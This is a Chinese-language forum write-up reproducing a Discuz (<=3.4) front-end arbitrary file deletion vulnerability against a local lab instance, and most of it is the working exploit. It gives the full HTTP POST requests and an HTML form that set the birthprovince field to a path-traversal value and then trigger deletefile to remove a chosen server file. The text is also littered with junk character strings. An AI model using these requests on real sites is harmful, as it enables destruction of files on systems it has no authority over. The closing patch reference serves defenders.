|
|
' k1 z! `, V6 t2 u1 S I9 @% T3 H! Y2 J. @* b- Y: H% z
前言:9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复,但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。, J9 P7 Y: g/ M
影响版本:Discuz < =3.4 环境
Y6 \' [# ?' a0 }
9 Y- x5 D/ q& w2 o. I9 i3 f3 s) l复现过程:首先在discuz目录下新建一个test.txt文件,到时候删除用。
# F2 [7 C- e& d( I. i* S新建test.txt8 ^% N b. x) m2 }1 J4 m
访问:http://192.168.220.131/home.php?mod=spacecp,然查审查元素,查看formhash的值,然后复制。! a) }& \9 e: X
1 l6 {* ?5 V# n+ \/ [1 B- ^
7 Z4 `- P' u. U+ P. ]. ^, M查看formhash P) o& N6 R. u9 G1 u1 _7 _
利用burp抓包,获取cookie: s7 M) d8 {* U5 o- K
1 `$ q+ J3 o( P5 c1 z8 D/ {
[, C3 W; q5 S6 U/ i) ?8 Z9 S! s6 V+ U+ h% V2 @1 m

& K. f9 X; n, v4 h, }7 n
: ~+ m- J% R) G- \ f& e) C/ S- {抓取cookie
. f6 q& h; ]# [- |. O2 N* ^ g1 h$ I, k
发送下面数据包:修改cookie,formhash,还有删除的文件9 d3 L# c$ C8 ~ p5 f. C3 j4 H
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
0 K8 Z# e- I6 k; Z8 o8 ^8 `( iHost: localhost) |$ k% s* p g, Y4 G% o6 T2 z4 d
Content-Length: 3672 |" y' a! i# E+ C6 W* r- G" ^
Cache-Control: max-age=0: k0 t! L- _6 h( m' [
Upgrade-Insecure-Requests: 1
]3 J: m. P9 R& j: e' B( O6 P6 _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s8 w' e- ]) h- K2 r# u. H) y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36. e4 o% C3 @5 C7 ^, d- B
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
9 y9 u! S ?; B4 G1 JAccept-Encoding: gzip, deflate" T" t& p- h1 ]+ ~) q' g% w- q
Accept-Language: zh-CN,zh;q=0.8,en;q=0.63 r z) {8 z) Q" m6 a) {
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056' `2 h0 T- F% I; F
Connection: close7 W+ ^; V! {) K) \' D: X% J7 W y% p
------WebKitFormBoundaryPFvXyxL45f34L12s
* n6 v- Q: _9 x( W7 G& bContent-Disposition: form-data; name="formhash"( z# X# v; @* L0 ~( j) {* k# l
84a7f376
' d8 r2 k# ?% z: D' g( p' j------WebKitFormBoundaryPFvXyxL45f34L12s% s% E# C3 C+ H$ W! B1 U
Content-Disposition: form-data; name="birthprovince"
, c' K, c+ M* v( c/ c. F% b; w../../../test.txt' G' @$ f2 m- b: b8 b3 w, k
------WebKitFormBoundaryPFvXyxL45f34L12s2 [4 A3 _' i+ |( K& \" P
Content-Disposition: form-data; name="profilesubmit"# q5 d4 f/ a* I. j# @3 Y
1( q: T3 l, u% l* j! e, ~
------WebKitFormBoundaryPFvXyxL45f34L12s--
, u% [; j ~" M发送删除的数据包
+ | q4 }( ]7 ?8 {刷新页面,查看出生地就会显示成下图所示的状态:
+ F9 @" ~* c: c5 P- i& f6 D/ T数据成功写入2 F0 n+ t: y) D4 t1 f6 }8 r
3 _# T, [: a# m0 _
6 ]% F# K0 e. s- z. p2 X9 Q说明数据已经进入数据库:- x& {6 [9 j+ N7 _9 g
然后,新建一个upload.html,代码如下,将其中的ip改成discuz的域名,[form-hash]改成你的formhash:
6 k; ]. K( H( N: K C! a1 D<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
$ N1 b, @8 @2 e5 c! j9 d# l7 O. ?<input type="file"name="birthprovince" id="file" />+ C/ w% T: R) p, S( J7 w
<input type="text"name="formhash" value="84a7f376"/></p>) l2 F1 n/ r! S6 K
<input type="text"name="profilesubmit" value="1"/></p>
' c0 S8 A: l- t' N6 E. h. k<input type="submit"value="Submit" />7 \, J: j6 Y: R! s' x
</from>* k+ K8 d" }2 e! C$ |
9 N% v/ u& {9 g: B/ w% M
/ W( F1 `6 u7 U6 r: h$ k4 V) d# p' c
, S* s( _% D6 r( Y4 h0 R( [% P' m
$ D* n" X4 |7 T! _
3 q5 g* `4 _0 g2 a) k或者直接构建数据包: B! |, \7 i+ \# X9 E6 H
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1' e8 Z$ p7 \; T9 R. |) M
Host: 192.168.220.131 J) E& p0 |/ Q8 F5 o! U: c1 n1 u
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" k$ Y. M7 ~/ _
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.80 c, F0 u1 ]0 ]! a6 }
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 l, N8 @# ~# U0 ]3 V8 JAccept-Encoding: gzip, deflate
. j% d4 k' Q! r) r2 ZContent-Type: multipart/form-data; boundary=---------------------------1238217421187166 O3 W x# P& I1 m7 }: a8 }0 t" K
Content-Length: 91989
; _8 R/ o! W% }/ c, JConnection: close, H7 D" E! \$ T# y( \! E S, |
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C15779380563 t1 @# N0 { L) ~" s
Upgrade-Insecure-Requests: 1
a( E, A% X; }$ A! ]-----------------------------123821742118716
* n _! [4 _0 jContent-Disposition: form-data; name="birthprovince"; filename="0.jpg": a- r0 h! e8 B, I# R' K
Content-Type: image/jpeg
, _0 K$ a$ y4 m q" o& F/ f7 x# zzerba(这里写啥都可以)
7 C" F! d' W/ a" k0 a" K-----------------------------123821742118716--
{0 Y: M( k; b! Z, C
! }3 N* _2 w! a" N7 t% n! W6 d7 d3 }3 I+ A
2 |* c+ C2 \/ Z y ]" [ O9 x }- E9 T6 g1 @( a9 @
$ h# T/ c' w2 @* r
) S: m7 b" c3 A) v/ o
: a5 y l$ X8 \$ P
% \5 a$ i. o- }4 T( K3 S* i3 D3 I6 h9 S% @* Z4 s4 c+ J# H8 L7 ] u
8 B3 Z4 o0 g: w6 m" t
+ C& X- a, T! |1 f. V2 J1 O进去discuz看看,可以看到,test.txt文件已经被删除了。; I( y4 b" p `
( ?. d4 i* A6 Y
O( p; |+ l/ J
2 ?( ^3 N4 \/ x& K4 ]0 X/ b# B8 x5 j+ [ {# @5 ^7 e
3 m; w- I( C, t8 P$ K( ]7 C* i
修复建议:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
" a8 Q& |" k3 W& k: z编辑upload/source/include/spacecp/spacecp_profile.php文件,删除和unlink相关代码。6 x$ }9 i& Z# f: v# @
: N% n! l: x& J5 Z1 G1 \4 z) v
) o+ p% {, e% |' n& R% y& M5 F' E
# J% v, m5 n o+ i2 K9 h* O$ i G( @6 o3 f7 H
8 `7 ~' s/ a; x! }
3 ~7 L" _% y9 g$ U2 O9 P
6 _# ?) z# D7 B9 y$ @3 ?7 K. y
$ U) p# s3 |. C* R" V0 ~5 g; |* n7 z
|
|